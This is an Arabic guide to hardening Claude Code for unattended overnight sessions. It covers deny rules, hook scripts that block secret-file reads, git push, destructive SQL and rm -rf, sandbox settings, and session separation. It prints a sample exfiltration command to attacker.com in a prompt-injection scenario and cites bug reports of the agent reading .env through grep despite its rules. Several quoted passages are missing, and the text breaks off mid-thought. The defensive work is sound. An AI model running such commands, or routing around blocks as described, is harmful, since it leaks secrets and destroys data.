كيفية إعداد Claude Code حتى لا يتسبب في تعطيل مشروعك أثناء الليل

ما الذي تغيّر في 2026: Claude Code المستقل والحوادث الفعلية#

في السابق، كان Claude Code يتوقف بعد كل رد ويطلب الإذن لكل عملية كتابة. كان ذلك مزعجًا، لكنه آمن: لم يكن بوسعك أن تنام بينما تقع حادثة، لأن الوكيل كان سينتظر موافقتك. في 2026، تغيّر هذا النموذج. أطلقت Anthropic ميزة auto-mode—إذ يقرر وكيل تصنيف منفصل نيابةً عنك ما إذا كان ينبغي السماح بكل إجراء. وظهر الأمر /loop (لتشغيل نص طلب على فترات ضمن جلسة)، وكذلك /schedule (للجدولة بأسلوب cron للمهام طويلة الأمد). أما جلسات الخلفية التي تُطلق باستخدام claude --bg فتشغّل الوكيل في الخلفية من دون طرفية. تناولت الوضع المستقل بالتفصيل في الدليل «/goal في Claude Code: الوضع المستقل وعرض الوكيل».

المشكلة أن الاستقلالية طُرحت بوتيرة أسرع من تطور الأمن.

وفي الوقت نفسه، هناك خللان مفتوحان في مستودع Anthropic ينبغي أن تعرفهما قبل إضافة permissions.deny إلى settings.json:

• المشكلة رقم #44868 (7 أبريل 2026): يقرأ Claude Code محتوى .env باستخدام grep -n ويُدرجه في سجل المحادثة، رغم وجود حظر صريح في CLAUDE.md. الخلل ما زال مفتوحًا.
• المشكلة رقم #24846 (11 فبراير 2026): لا تُطبّق قواعد permissions.read.deny الخاصة بأنماط .env*—إذ يقرأ Read الملف .env.local رغم صحة نمط الحظر. أُغلقت باعتبارها نسخة مكررة، ولم تُصلح.

توضح الثغرتان عدم كفاية طبقة واحدة في settings.json. النموذج التالي أربع طبقات: الأذونات وhooks والعزل وفصل الجلسات. قد تقلل كل منها التعرض، ولا تجعل غيرها شاملة. لا يثبت تقييم auto-mode المذكور التقاط regex ما يفوته. للإنتاج، استخدم بيئة نظام معزولة دون اعتماد أو كتابة إنتاج، وافرض الشبكة خارج النموذج، واختبر الحدود قبل التشغيل غير المراقب.

ما المنطقتان الخضراء والحمراء للمشروع؟#

لا جدوى من بناء الحماية نفسها لكل مشروع. فالمشروع الشخصي المحلي على جهازك، الذي لم يُنشر خارجيًا، يختلف تمامًا في مستوى المخاطر عن خدمة تتعامل مع مدفوعات فعلية وتخزّن بيانات العملاء. إذا استخدمت الحماية نفسها في كل مكان، فستبطئ العمل في المنطقة الخضراء، وستترك مع ذلك ثغرات في المنطقة الحمراء.

ينتقل المشروع من المنطقة الخضراء إلى الحمراء بمجرد تحقق واحد على الأقل من ثلاثة شروط: ظهور عملاء فعليين، أو بدء تدفق الأموال عبر النظام، أو احتواء قاعدة البيانات على بيانات شخصية لأشخاص. حتى ذلك الحين، يمكنك استخدام auto-mode والحد الأدنى من hooks ومن دون sandbox. بعد ذلك، يجب إعادة بناء الحماية وفق الإعداد الكامل في هذا الدليل.

المبدأ الأساسي: يرتبط مستوى الحماية بالمنطقة، ولا تؤثر فيه مرحلة التطوير. مشروع شخصي على جهازك يستخدم حساب Stripe تجريبيًا يقع في المنطقة الخضراء. أما خدمة لها عميل واحد يدفع المال ونموذج تسجيل، فهي بالفعل في المنطقة الحمراء حتى لو بدت «مسودة». الخلط بين هاتين المنطقتين فخ شائع في المشاريع المبكرة: «ما زلنا في مرحلة المسودة، سنضيف الحماية لاحقًا»، ثم يدفع أول عميل في الأسبوع التالي.

كيف يعمل تسلسل الأذونات في settings.json؟#

تشرح Anthropic تسلسل تقييم الأذونات في التوثيق الرسمي: تُفحص قواعد deny أولًا، ثم ask، ثم allow—وتفوز أول قاعدة مطابقة. وهذا يعني أن deny يتغلب دائمًا على allow. إذا حظرت قراءة .env في ~/.claude/settings.json، ثم أضاف شخص ما allow إلى .claude/settings.json الخاص بالمشروع، فسيُطبّق الحظر الذي وضعته، لا الإذن الذي أضافه.

مثال على ملف ~/.claude/settings.json آمن وبسيط على مستوى المستخدم:

{
  "permissions": {
    "deny": [
      "Read(./.env)",
      "Read(./.env.*)",
      "Read(**/.env)",
      "Read(**/.env.*)",
      "Read(*.pem)",
      "Read(*.key)",
      "Read(**/credentials*.json)",
      "Read(~/.ssh/**)",
      "Read(~/.aws/**)",
      "Read(~/.gnupg/**)"
    ]
  },
  "disableBypassPermissionsMode": "disable"
}

ما الذي يحدث هنا؟ تمنع القواعد الست الأولى قراءة الملفات السرية في الدليل الحالي وأي أدلة فرعية. يشير *.pem و*.key إلى مفاتيح SSL/TLS ومفاتيح SSH. أما credentials*.json فهو اسم ملف شائع يستخدمه مزودو الخدمات السحابية. وتشير القواعد الثلاث الأخيرة إلى أدلة النظام التي تحتوي على مفاتيح SSH وبيانات اعتماد AWS ومفاتيح GPG.

يمنع المفتاح disableBypassPermissionsMode: "disable" الخيار --dangerously-skip-permissions (المعروف أيضًا باسم وضع YOLO). وهذا يزيل نوعًا من الأخطاء نهائيًا: حتى لو أضفت هذا الخيار إلى نص برمجي أو اسم مستعار عن طريق الخطأ، فسيرفض Claude Code قبوله. ولن يكتفي بحذفه، بل سيعيد الخطأ “mode disabled by managed settings.”

بالإضافة إلى ذلك، بدءًا من الإصدار 2.1.142، يُتجاهل المفتاح defaultMode: "auto" إذا ورد في إعدادات المشروع أو الإعدادات المحلية. وهذا يحمي من حالة مثل: «دخلت مستودع شخص آخر، وفي .claude/settings.json فيه الوضع التلقائي مفعّل افتراضيًا». وقد صرّحت Anthropic بوضوح أن المستودعات لا يمكنها تفعيل auto-mode من دون موافقة المستخدم.

هذا هو خط الحماية الأول. لا يمكنك الاكتفاء به، لأنه ينطوي على ثغرتين ستتعرف عليهما في القسم التالي.

لماذا لا تكفي permissions.deny: مشكلتان مفتوحتان في GitHub#

لو كانت permissions.deny تعمل كما ينبغي، لانتهى الدليل في القسم السابق. لكنها لا تعمل.

المشكلة رقم #44868 (7 أبريل 2026): أضاف المستخدم حظرًا صريحًا في CLAUDE.md على قراءة .env و.dev.vars وغيرها من الملفات التي تحتوي على أسرار. لكن Claude استخدم الأمر grep -n SOMETHING .env بدلًا من Read. يطبع الأمر grep -n السطر المطابق كاملًا مع رقمه—بما في ذلك رمز API الفعلي. يدخل ذلك السطر إلى tool_result، ويظهر في سجل الجلسة، ويُحفظ في السجل التاريخي.

النقطة الدقيقة التي يلفت الكاتب الانتباه إليها: لا تظهر استجابة النموذج الوقائية إلا بعد إنتاج المخرجات، لا قبل تشغيل الأمر. بعبارة أخرى، يشغّل Claude الأمر grep أولًا ويحصل على سطر يحتوي على الرمز، ثم يطبعه في المحادثة—وعندها فقط يدرك خطأه ويعتذر. بحلول ذلك الوقت، يكون الرمز قد أُدرج بالفعل في سجل المحادثة. والحل الوحيد هو تدوير المفتاح.

المشكلة رقم #24846 (11 فبراير 2026): أعدّ المستخدم permissions.read.deny بقائمة تتضمن النمط **/.env*. ثم طلب من Claude قراءة .env.local. اكتملت أداة Read من دون أخطاء وطبعت محتويات الملف.

أُغلقت المشكلة باعتبارها نسخة مكررة، لكنها لم تُصلح. وحتى وقت كتابة هذا الدليل (يونيو 2026)، ما زال بالإمكان إعادة إنتاجها.

الخلاصة: الطبقة الأولى في settings.json ليست جهدًا ضائعًا؛ لكن الأمثلة لا تقيس نسبة القراءات غير المقصودة التي تمنعها. لكنها لا تمنع الأوامر عبر Bash (cat .env وgrep API_KEY .env وhead .env)، أو أخطاء تطبيق القواعد (المشكلة رقم #24846)، أو السلاسل الملتوية التي تستخدم git diff أو git show على التزام يتضمن .env. لذلك تحتاج إلى طبقة ثانية—وهي hooks.

كيف تمنع Hooks إجراءات خطرة تتعرف إليها؟#

تعمل hooks على مستوى تجريدي مختلف عن الأذونات. الأذونات قواعد يأخذها النموذج في الحسبان عند تقرير ما سيفعله. أما hook فيعمل بطريقة مختلفة: يقرر النموذج استدعاء أداة، ثم يعمل hook بين النموذج والنظام، ويفحص المدخلات، ويسمح بها أو يحظرها. ولا يشارك النموذج في قرار hook—فهو شيفرة shell تكتبها بنفسك.

تشرح Anthropic سلوك الحظر في توثيق hooks الرسمي:

يعني هذا أمرين. أولًا، قد يمنع hook مضبوط جيدًا استدعاء الأداة المطابق. في PreToolUse يمنع رمز 2 ذلك الاستدعاء؛ ولا يثبت تعرف النص إلى كل أمر خطير مكافئ. ثانيًا، يمكنك وضع رسالة مفيدة في stderr، وسيقرأها Claude كخطأ ويحاول اتباع نهج آخر. بعبارة أخرى، hook ليس «سياجًا» فحسب، بل «سياج مع لافتة تشرح سبب منع المرور».

الأحداث التي يمكن حظرها باستخدام exit 2:

• PreToolUse—يحظر استدعاء الأداة قبل التنفيذ. وهو الحدث الأساسي للـ hooks الدفاعية.
• PermissionRequest—يرفض الإذن لإجراء طلب Claude الإذن بتنفيذه.
• UserPromptSubmit—يحظر نص طلب المستخدم ويمحوه. مفيد إذا احتوى النص على محتوى مريب (مثل حقن الأوامر في نص طلب داخل رسالة بريد مزروعة).
• Stop—يمنع Claude من إنهاء الجلسة. يمكن استخدامه كـ «حلقة» لإبقاء الوكيل يعمل حتى يتحقق شرط معين.
• PreCompact—يحظر ضغط السياق تلقائيًا. مفيد إذا أردت الاحتفاظ بسجل المحادثة إلى حين اتخاذ قرار يدوي.
• WorktreeCreate—يرفض إنشاء worktree. يوفر حماية من محاولة Claude استنساخ مستودع في مكان غير متوقع.

ومن البدائل لرمز الخروج 2 إرجاع JSON يتضمن حقل hookSpecificOutput.permissionDecision. للحقل permissionDecision أربع قيم ممكنة:

• allow—يسمح بالإجراء صراحةً، متجاوزًا مسار الأذونات المعتاد.
• deny—يحظر الإجراء، وهو مكافئ للخروج بالرمز 2 في PreToolUse.
• ask—يصعّد الأمر إلى المستخدم (فتظهر نافذة حوار).
• defer—يؤجل القرار إلى منطق الأذونات المعتاد.

يمنح ذلك hook تحكمًا أكبر من رمز الخروج. باستخدام permissionDecision: "ask"، يمكنك تحويل العمليات الصامتة إلى عمليات تتطلب تأكيدًا، من دون حظرها كليًا. وهذا ما أفعله مع npm install <new package> وتغييرات ملفات القفل.

إذا أردت معرفة المزيد عن طريقة عمل hooks والأحداث الـ 31 المتاحة حاليًا في Claude Code، فقد تناولت ذلك في دليل منفصل بعنوان «Hooks في Claude Code: 7 قواعد جاهزة للنسخ». سأعرض الآن hooks محددة للعمل المستقل.

ما الـ 7 Hooks التي أستخدمها للعمل طوال الليل؟#

هذه هي طبقة الحماية الثانية التي تسند الأولى. توضع جميع hooks في .claude/hooks/، وتُسجّل عبر .claude/settings.json، وتتطلب تثبيت jq.

Hook 1: حماية .env و.pem وcredentials.json من القراءة

يضيف فحوصًا لمسارات Read مختارة وأوامر Bash شائعة لقراءة الأسرار. لا يلتقط كل أداة أو كل طريقة لقراءة سر. الملف: .claude/hooks/block-secret-reads.sh:

#!/bin/bash
INPUT=$(cat)
TOOL=$(echo "$INPUT" | jq -r '.tool_name')
ARG=$(echo "$INPUT" | jq -r '.tool_input.file_path // .tool_input.command // ""')

# Read tool with a suspicious path
if [ "$TOOL" = "Read" ] && echo "$ARG" | grep -qE '(\.env|\.pem|\.key|credentials\.json|secrets/|\.ssh/|\.aws/)'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "deny",
      permissionDecisionReason: "Secret file. Use op:// references or env vars."
    }
  }'
  exit 0
fi

# Bash that reads secrets via cat/grep/head
if [ "$TOOL" = "Bash" ] && echo "$ARG" | grep -qE '\b(cat|grep|head|tail|less|more|awk|sed|xxd)\b.*(\.env|\.pem|credentials)'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "deny",
      permissionDecisionReason: "Reading secrets via shell is blocked."
    }
  }'
  exit 0
fi

exit 0

التسجيل في .claude/settings.json:

{
  "hooks": {
    "PreToolUse": [
      {
        "matcher": "Read|Bash",
        "hooks": [{
          "type": "command",
          "command": "${CLAUDE_PROJECT_DIR}/.claude/hooks/block-secret-reads.sh"
        }]
      }
    ]
  }
}

بعد التثبيت، شغّل chmod +x .claude/hooks/block-secret-reads.sh. للاختبار: اطلب من Claude قراءة .env.local—ستحصل على الرد “Secret file. Use op:// references or env vars.” بدلًا من محتويات الملف.

Hook 2: منع استدعاءات git push الحرفية في الجلسات الليلية

في جلسة غير مراقبة، يمنع المثال بتحفظ كل git push حرفي يتعرف إليه، بما فيه فروع الميزات. لا يحاول استنتاج الفرع الحالي أو تقرير سلامة خيار القوة. الملف .claude/hooks/block-force-push.sh:

#!/bin/bash
INPUT=$(cat)
CMD=$(echo "$INPUT" | jq -r '.tool_input.command // ""')

if echo "$CMD" | grep -qE '(^|[[:space:];|&()])git[[:space:]]+push([[:space:];|&()]|$)'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "deny",
      permissionDecisionReason: "Push disabled in overnight session. Use supervised review."
    }
  }'
fi

exit 0

سجله عبر PreToolUse وmatcher ‏Bash. لأنه يمنع الأمر المعروف بدل تحليل الخيارات والفروع، يلتقط git push --force origin main وgit push origin main --force وgit push -f وgit push origin HEAD:main واستدعاء حرفيًا داخل && أو ;. هذه أمثلة مطابقة نصية دون اتصال، وليست أوامر لتنفيذها على مستودع بعيد.

يبقى إرشادًا نصيًا؛ فقد تتجاوزه أسماء Git البديلة ودوال الصدفة وgit -C ... push والأسماء المركبة والنصوص والأدوات الأخرى، وليس محلل صدفة كاملًا. افرض حماية الفروع في الخادم وأزل اعتماد التجاوز وشغّل العمل غير المراقب معزولًا دون كتابة إنتاج. لا يمنح فوات المطابقة سلطة إنتاج.

Hook 3: حظر عمليات SQL المدمّرة

يعالج مباشرةً حوادث حذف قواعد البيانات. الملف: .claude/hooks/block-destructive-sql.sh:

#!/bin/bash
INPUT=$(cat)
CMD=$(echo "$INPUT" | jq -r '.tool_input.command // ""')

# DROP TABLE / DATABASE / SCHEMA, TRUNCATE
if echo "$CMD" | grep -iqE '\b(DROP\s+(TABLE|DATABASE|SCHEMA)|TRUNCATE\s+TABLE)\b'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "deny",
      permissionDecisionReason: "Destructive DDL blocked. Use migrations with explicit human approval."
    }
  }'
  exit 0
fi

# DELETE FROM without WHERE
if echo "$CMD" | grep -iqE '\bDELETE\s+FROM\b' && ! echo "$CMD" | grep -iqE '\bWHERE\b'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "deny",
      permissionDecisionReason: "DELETE without WHERE blocked. Confirm scope explicitly."
    }
  }'
  exit 0
fi

# UPDATE without WHERE
if echo "$CMD" | grep -iqE '\bUPDATE\s+\S+\s+SET\b' && ! echo "$CMD" | grep -iqE '\bWHERE\b'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "ask",
      permissionDecisionReason: "UPDATE without WHERE will affect all rows. Confirm scope."
    }
  }'
  exit 0
fi

exit 0

سجّله عبر PreToolUse مع matcher: "Bash". لاحظ الفرق: يُحظر DROP وDELETE من دون WHERE حظرًا كاملًا، بينما يتحول UPDATE من دون WHERE إلى ask—فقد يكون مشروعًا أحيانًا (مثل ضبط علامة لكل السجلات في عملية ترحيل)، لكنه يتطلب دائمًا تأكيدًا يدويًا.

Hook 4: تصفية rm -rf

مثال مرجعي من توثيق Anthropic، عُدّل ليحظر الأمر مع توضيح السبب:

#!/bin/bash
INPUT=$(cat)
CMD=$(echo "$INPUT" | jq -r '.tool_input.command // ""')

# rm -rf /, ~, $HOME, * without explicit scope
if echo "$CMD" | grep -qE 'rm\s+-rf?\s+(\.|/|~|\$HOME|\*)\s*$' || echo "$CMD" | grep -qE 'rm\s+-rf?\s+(\.|/|~)/'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "deny",
      permissionDecisionReason: "Destructive rm without explicit scope. Specify the directory."
    }
  }'
fi

exit 0

يسمح hook بأوامر مثل rm -rf node_modules وrm -rf .next/cache وغيرها من عمليات الحذف ذات النطاق المحدد صراحةً. ويحظر rm -rf . وrm -rf / وrm -rf ~ وأوامر «المسح الكامل» المشابهة.

Hook 5: طلب تأكيد تثبيت الحزم الجديدة

يواجه هذا hook هجمات سلسلة التوريد. فإذا قرر Claude إضافة اعتمادية جديدة من تلقاء نفسه، ستظهر نافذة حوار:

#!/bin/bash
INPUT=$(cat)
CMD=$(echo "$INPUT" | jq -r '.tool_input.command // ""')

# Installing dependencies from a lockfile—allow
if echo "$CMD" | grep -qE '\b(npm install|pnpm install|yarn install|pip install -r)\s*$'; then
  exit 0
fi

# Adding new packages
if echo "$CMD" | grep -qE '\b(npm install|pnpm add|yarn add|pip install|uv add)\s+\S'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "ask",
      permissionDecisionReason: "Adding new dependency. Confirm package name and version."
    }
  }'
fi

exit 0

تتيح عمليات التثبيت من ملفات القفل أن تتم بحرية، بينما تتطلب إضافة اعتماد جديد تأكيدًا.

Hook 6: حماية package.json وملف القفل

أي تغيير في ملف بيان الاعتمادات يستدعي مراجعته. ويزداد ذلك أهمية أثناء الليل.

#!/bin/bash
INPUT=$(cat)
PATH_ARG=$(echo "$INPUT" | jq -r '.tool_input.file_path // ""')

if echo "$PATH_ARG" | grep -qE '(package\.json|pnpm-lock\.yaml|package-lock\.json|yarn\.lock|requirements\.txt|pyproject\.toml|Cargo\.toml|go\.mod)$'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "ask",
      permissionDecisionReason: "Dependency manifest change. Confirm scope before write."
    }
  }'
fi

exit 0

سجّله باستخدام PreToolUse والمطابقة Write|Edit.

Hook 7: سجل تدقيق شامل لكل استدعاءات Bash

إذا حدث خطأ أثناء الليل، فستحتاج إلى سجل كامل لفهم تسلسل الأحداث. سجّله في settings.json (ليس للـ hook نص برمجي منفصل؛ إذ يتولى jq كل شيء):

{
  "hooks": {
    "PreToolUse": [
      {
        "matcher": "Bash|Write|Edit",
        "hooks": [{
          "type": "command",
          "command": "jq -c '{ts: now, tool: .tool_name, cmd: (.tool_input.command // .tool_input.file_path), cwd: .tool_input.cwd}' >> ${CLAUDE_PROJECT_DIR}/.claude/audit.jsonl; exit 0"
        }]
      }
    ]
  }
}

يكبر ملف .claude/audit.jsonl سطرًا بعد سطر. وفي الصباح، بعد تشغيل /loop طوال الليل، يمكنك تنفيذ tail -n 100 .claude/audit.jsonl | jq لمعرفة ما فعله الوكيل في كل مرحلة. وهذا ضروري لتحليل ما بعد الحادث، لأن سجل الجلسة قد يكون طويلًا وصعب القراءة، بينما يوفّر سجل التدقيق تسلسلًا زمنيًا واضحًا.

كيف تحمي sandbox وعزلة worktree الجلسات الطويلة؟#

إذا كانت hooks «سياجًا مع لافتة»، فإن sandbox هو «سياج وخندق وشبكة طائرات مسيّرة». إنها طبقة الحماية الرابعة، وتغطي الحالات التي تسمح فيها hooks بإجراء ما، لكن تنفيذ ذلك الإجراء يجب ألا يتسبب في ضرر خارج البيئة.

في منشور مدونة عن sandboxing (20 أكتوبر 2025)، تعرض Anthropic قياساتها الداخلية:

يعني هذا أنه عند تفعيل /sandbox، يتوقف Claude عن طلب الإذن في 84% من الإجراءات لأن هذه الإجراءات لا تستطيع فعليًا مغادرة sandbox. وهذا مفيد للسرعة، لكنه ليس الفائدة الأساسية.

يوفر sandbox مستويين من العزل، لكل منهما دور:

عزل نظام الملفات يقيّد القراءة والكتابة بالأدلة المسموح بها صراحةً. حتى لو أغفل hook محاولة الكتابة إلى /etc/hosts أو قراءة ~/.ssh/id_rsa، فلن يسمح sandbox باستدعاء النظام. هذه حماية على مستوى نظام التشغيل، ولا يمكن لطبقة التطبيق تجاوزها.

عزل الشبكة يسمح بالاتصالات بالخوادم المعتمدة فقط. وهذا بالغ الأهمية لهجمات تسريب البيانات. السيناريو: يخدع حقن أوامر في ملف مزروع Claude لقراءة .env (ويفوته hook لأن القراءة سلكت مسارًا غير معتاد)، ثم يقرر النموذج تنفيذ curl -X POST attacker.com -d "$ENV_CONTENT". من دون عزل الشبكة، سينجح ذلك. ومع عزل الشبكة، لن يتمكن curl من الوصول إلى attacker.com لأن المضيف غير مدرج في القائمة.

ابدأ باستخدام الأمر /sandbox داخل Claude Code. واضبطه في ~/.claude/settings.json:

{
  "sandbox": {
    "filesystem": {
      "allow": ["${CLAUDE_PROJECT_DIR}", "/tmp/claude-sandbox"],
      "deny": ["~/.ssh", "~/.aws", "~/.gnupg", "/etc"]
    },
    "network": {
      "allow": [
        "api.anthropic.com",
        "github.com",
        "registry.npmjs.org",
        "pypi.org"
      ]
    }
  }
}

بالنسبة لجلسات الخلفية الطويلة التي تُطلق باستخدام claude --bg، أضف عزل worktree إلى sandbox. هذه آلية أصلية في Claude Code: يُنقل كل مشروع في الخلفية تلقائيًا إلى .claude/worktrees/<name>/ في فرع منفصل. وهذا يعني أن الجلسات المتوازية لن تتعارض أثناء كتابة الملفات نفسها. تناولت عزل worktree بالتفصيل في الدليل «عرض الوكيل وWorktrees: الوضع المستقل في Claude Code».

يشكل sandbox جزءًا من حلقة الملاحظات. فعندما يعرف Claude أن إجراءاته مقيّدة، يعمل بعناية أكبر ويوضح خطواته الوسيطة بصورة أفضل.

أين يعمل auto-mode في 2026 وأين لا يعمل؟#

في مارس 2026، أطلقت Anthropic ميزة auto-mode باعتبارها «حلًا وسطًا بين المراجعة اليدوية وغياب الضوابط». وهي نموذج Sonnet 4.6 منفصل يقيّم كل إجراء من Claude وفق مجموعة من المعايير قبل التنفيذ. وقد شرحت Anthropic آلية العمل في مدونة هندسة Anthropic:

auto-mode له حدّان مهمان:

• إذا تراكمت في الجلسة 3 حالات رفض متتالية من المصنّف أو 20 حالة رفض إجمالًا، يتوقف النموذج ويصعّد الأمر إلى شخص. وهذا يحمي من حالة «يدور فيها Claude محاولًا تجاوز قيد ما باستخدام 100 صياغة مختلفة للأمر نفسه».
• يسمح auto-mode بإجراء إذا كان يشبه 93% من الحالات المعتادة التي يوافق عليها المستخدمون على أي حال. ويقلل ذلك إرهاق طلبات الأذونات، لكنه لا يحمي من الإجراءات الخطرة غير المعتادة.

وهذا هو الرقم الأهم الذي ينبغي الانتباه إليه:

نسبة 17% المعلنة معدل سلبيات كاذبة في ذلك التقييم، وليست احتمال كل إجراء في مشروعك. لا تثبت التقاط الأمثلة للإجراءات الفائتة. في المنطقة الحمراء، يحتاج العمل غير المراقب إلى عزل مفروض عن كتابة الإنتاج وأسراره، وفروع محمية في الخادم واعتماد لا يستطيع تجاوزها.

استخدم hooks فحوصًا إضافية في بيئة قابلة للتخلص والاستعادة. قد يحتوي مشروع محلي ملفات غير متتبعة أو اعتمادات لا يستعيدها Git. في المنطقة الحمراء، يجب أن تحتوى ضوابط الوصول الفعلية فوات hook؛ ولا تحول regex تنفيذ صدفة اعتباطيًا إلى ضمان أمان حتمي.

لماذا أفصل السياقات إلى ثلاثة أنواع من الجلسات؟#

هناك ثلاثة أنواع من المهام ينبغي ألا تجتمع أبدًا في جلسة واحدة:

النوع 1: العمل على البيانات الشخصية. تستطيع الجلسة الوصول إلى قاعدة بيانات الإنتاج وإرسال البريد الإلكتروني والاطلاع على بيانات الاعتماد. لكنها لا تستطيع الوصول إلى المستندات الخارجية (رسائل البريد الإلكتروني وملفات PDF وصفحات الويب)، ولا يمكنها إرسال البيانات إلى عناوين عشوائية.

النوع 2: معالجة المستندات الخارجية. تستطيع الجلسة تحليل رسائل البريد الإلكتروني الواردة وتنزيل صفحات الويب وقراءة ملفات PDF الواردة عبر البريد. لكنها لا تستطيع الوصول إلى قاعدة بيانات تتضمن بيانات شخصية، ولا يمكنها إرسال أي شيء إلى الخارج من دون تأكيد صريح.

النوع 3: النشر إلى جهات خارجية. تستطيع الجلسة النشر على الشبكات الاجتماعية وإرسال حملات البريد الإلكتروني وإنشاء طلبات السحب. لكنها لا تستطيع الوصول إلى البيانات الشخصية، ولا تحلل المحتوى الوارد.

لماذا نفصل بينها؟ إذا نفذت جلسة واحدة كل شيء، يكفي حقن أمر واحد في ملف PDF مزروع (أرسلته وكالة منافسة في صورة «فاتورة») ليتمكن الوكيل، في مرور واحد، من قراءة قاعدة بيانات العملاء والعثور على عناوين بريدهم وإرسالها إلى عنوان مهاجم. كل إجراء في هذه السلسلة مشروع ضمن نوع المهمة الخاص به. لكنها مجتمعةً تمثل تسريبًا.

عمليًا، يُنفذ ذلك باستخدام أدلة .claude مختلفة لأنواع المهام المختلفة. أحتفظ بثلاثة إعدادات على جهازي: ~/projects/business-ops/.claude/ (النوع 1، مع الوصول إلى قاعدة البيانات، وحظر الشبكة باستثناء واجهات API الداخلية)، و~/projects/inbox-parsing/.claude/ (النوع 2، مع حظر الشبكة بالكامل)، و~/projects/social-posting/.claude/ (النوع 3، مع السماح بالشبكة لواجهات Telegram وSlack API). كل دليل منها مشروع مستقل لـ Claude Code له أذوناته وhooks الخاصة به.

ما عناصر قائمة التحقق الـ 12 التي أراجعها قبل /loop؟#

1. ملف ~/.claude/settings.json يتضمن deny على مستوى المستخدم للأنماط .env* و*.pem و*.key وcredentials*.json و~/.ssh/** و~/.aws/**. هذا هو الأساس؛ وما عداه لا جدوى منه من دونه.

2. المفتاح disableBypassPermissionsMode: "disable" في ~/.claude/settings.json. يمنع خيار YOLO نهائيًا.

3. اختُبرت أمثلة block-secret-reads.sh على أوامر قراءة أسرار مختارة؛ وتكون الأسرار الفعلية واعتمادات الإنتاج غير متاحة للبيئة غير المراقبة.

4. يمنع مثال block-force-push.sh عمليات push الحرفية المعروفة بغض النظر عن ترتيب الخيارات أو الوجهة؛ ويفرض خادم Git الفروع المحمية والاعتماد غير القابل للتجاوز.

5. hook block-destructive-sql.sh لمنع DROP TABLE وTRUNCATE وDELETE FROM من دون WHERE.

6. hook block-rm-rf.sh لمنع rm -rf من دون نطاق محدد صراحةً.

7. hook ask-on-new-deps.sh للأمر npm install <new package> (وهو منفصل عن npm install من دون وسيطات).

8. hook ask-on-lockfile-change.sh للكتابة إلى package.json وpnpm-lock.yaml وrequirements.txt وpyproject.toml وCargo.toml.

9. سجل audit.jsonl شامل لكل استدعاءات Bash وWrite وEdit. من دونه، يستحيل تحليل ما بعد الحادث.

10. تعمل جميع جلسات الخلفية الطويلة في worktree، لا في الفرع الرئيسي: ينشئ claude --bg "task" worktree تلقائيًا، لكن تحقق من أن settings.json لا يحتوي على worktree.bgIsolation: "none".

11. استخدم /sandbox قبل إطلاق مهمة مستقلة طويلة. يُقيَّد نظام الملفات بدليل المشروع و/tmp. وتستخدم الشبكة قائمة سماح تتضمن api.anthropic.com وgithub.com وregistry.npmjs.org.

12. أضف خطوة تحقق داخل المهمة: شغّل مشغّل الاختبارات أو linter بعد كل تغيير رئيسي. إذا فشلا، لا يواصل الوكيل العمل حتى إصلاحهما.

العنصر الأخير أسلوب للعمل، لا إعداد لأداة. امنح Claude طريقة للتحقق من عمله. ومن دون التحقق، يواصل وكيل يعمل طوال الليل التقدم وهو يقول «أعتقد أنني فعلت ذلك على نحو صحيح»، وتتراكم الأخطاء حتى الصباح. أما مع التحقق، فلا يواصل حتى ينجح الفحص.

7 أنماط مضادة: ما الذي ينبغي ألا تفعله#

1. استخدام --dangerously-skip-permissions على جهاز مضيف لديه وصول إلى الإنتاج. فقد browningstreet قاعدتي بيانات الإنتاج والتطوير بأمر «تنظيف» واحد. تكلفة الخطأ ساعات من الاستعادة، إضافةً إلى بيانات غير موجودة في النسخة الاحتياطية. إذا وقعت حادثة بالفعل، فافتح «ما العمل إذا حذف الذكاء الاصطناعي قاعدة بيانات: قائمة تحقق للاستعادة» ونفّذ الخطوات الـ 10 بالترتيب.

2. الاعتماد على CLAUDE.md وحده لأغراض الأمن. أثبتت المشكلة رقم #44868 أن النموذج يتصرف أولًا ثم يعتذر. لا يمنع توجيه إرشادي في ملف نصي استدعاء أداة. قد يمنع hook مضبوط الاستدعاءات المطابقة، بينما تفرض ضوابط النظام والعزل والخدمة حدودًا أوسع. يظل CLAUDE.md مهمًا لسياق المشروع—وقد كتبت عنه في «كيفية إعداد CLAUDE.md على نحو صحيح»—لكنه لا يحميك من وكيل مستقل.

3. الاعتماد على permissions.deny وحده في settings.json من دون إضافة hook. المشكلة رقم #24846 مفتوحة منذ فبراير 2026. يمكن تجاوز حظر .env* باستخدام grep في Bash. قد يضيف hook فحوصًا، لكن يجب استبعاد الأسرار من بيئة التشغيل غير المراقب أيضًا؛ فالتعبير النمطي ليس بديل تحكم وصول كاملًا.

4. اعتبار auto-mode مع regex عزل إنتاج. المعدل السلبي الكاذب المذكور خاص بالتقييم، وتغطية hooks ناقصة. أزل اعتماد كتابة الإنتاج وتحقق من الحد المفروض بدل افتراض اعتراض كل إجراء خطير.

5. تثبيت حزمة جديدة باستخدام npm install من دون تأكيد. هجمات سلسلة التوريد حقيقية. أظهرت حوادث Tea-tags في 2024–2026 وجود حزم تنتحل أسماء حزم أخرى مع آلاف التنزيلات. تحتاج إلى قائمة سماح.

6. عدم تسجيل استدعاءات Bash. من دون سجل تدقيق، لن تتمكن من فهم ما حدث طوال الليل. سجل المحادثة طويل، ولا يمكن فهرسته حسب الأمر، ولا يوفر تسلسلًا زمنيًا. ويحل .claude/audit.jsonl المشكلتين.

7. عدم استخدام worktree لجلسات الخلفية. تتعارض الجلسات المتوازية في دليل واحد على عمل بعضها بعضًا. يتضمن Claude Code الإعداد worktree.bgIsolation، المفعّل افتراضيًا منذ الإصدار 2.1.143، لكن تحقق من إعداداتك.

وهناك أمر أساسي لا يستطيع أي hook أو إعداد منعه:

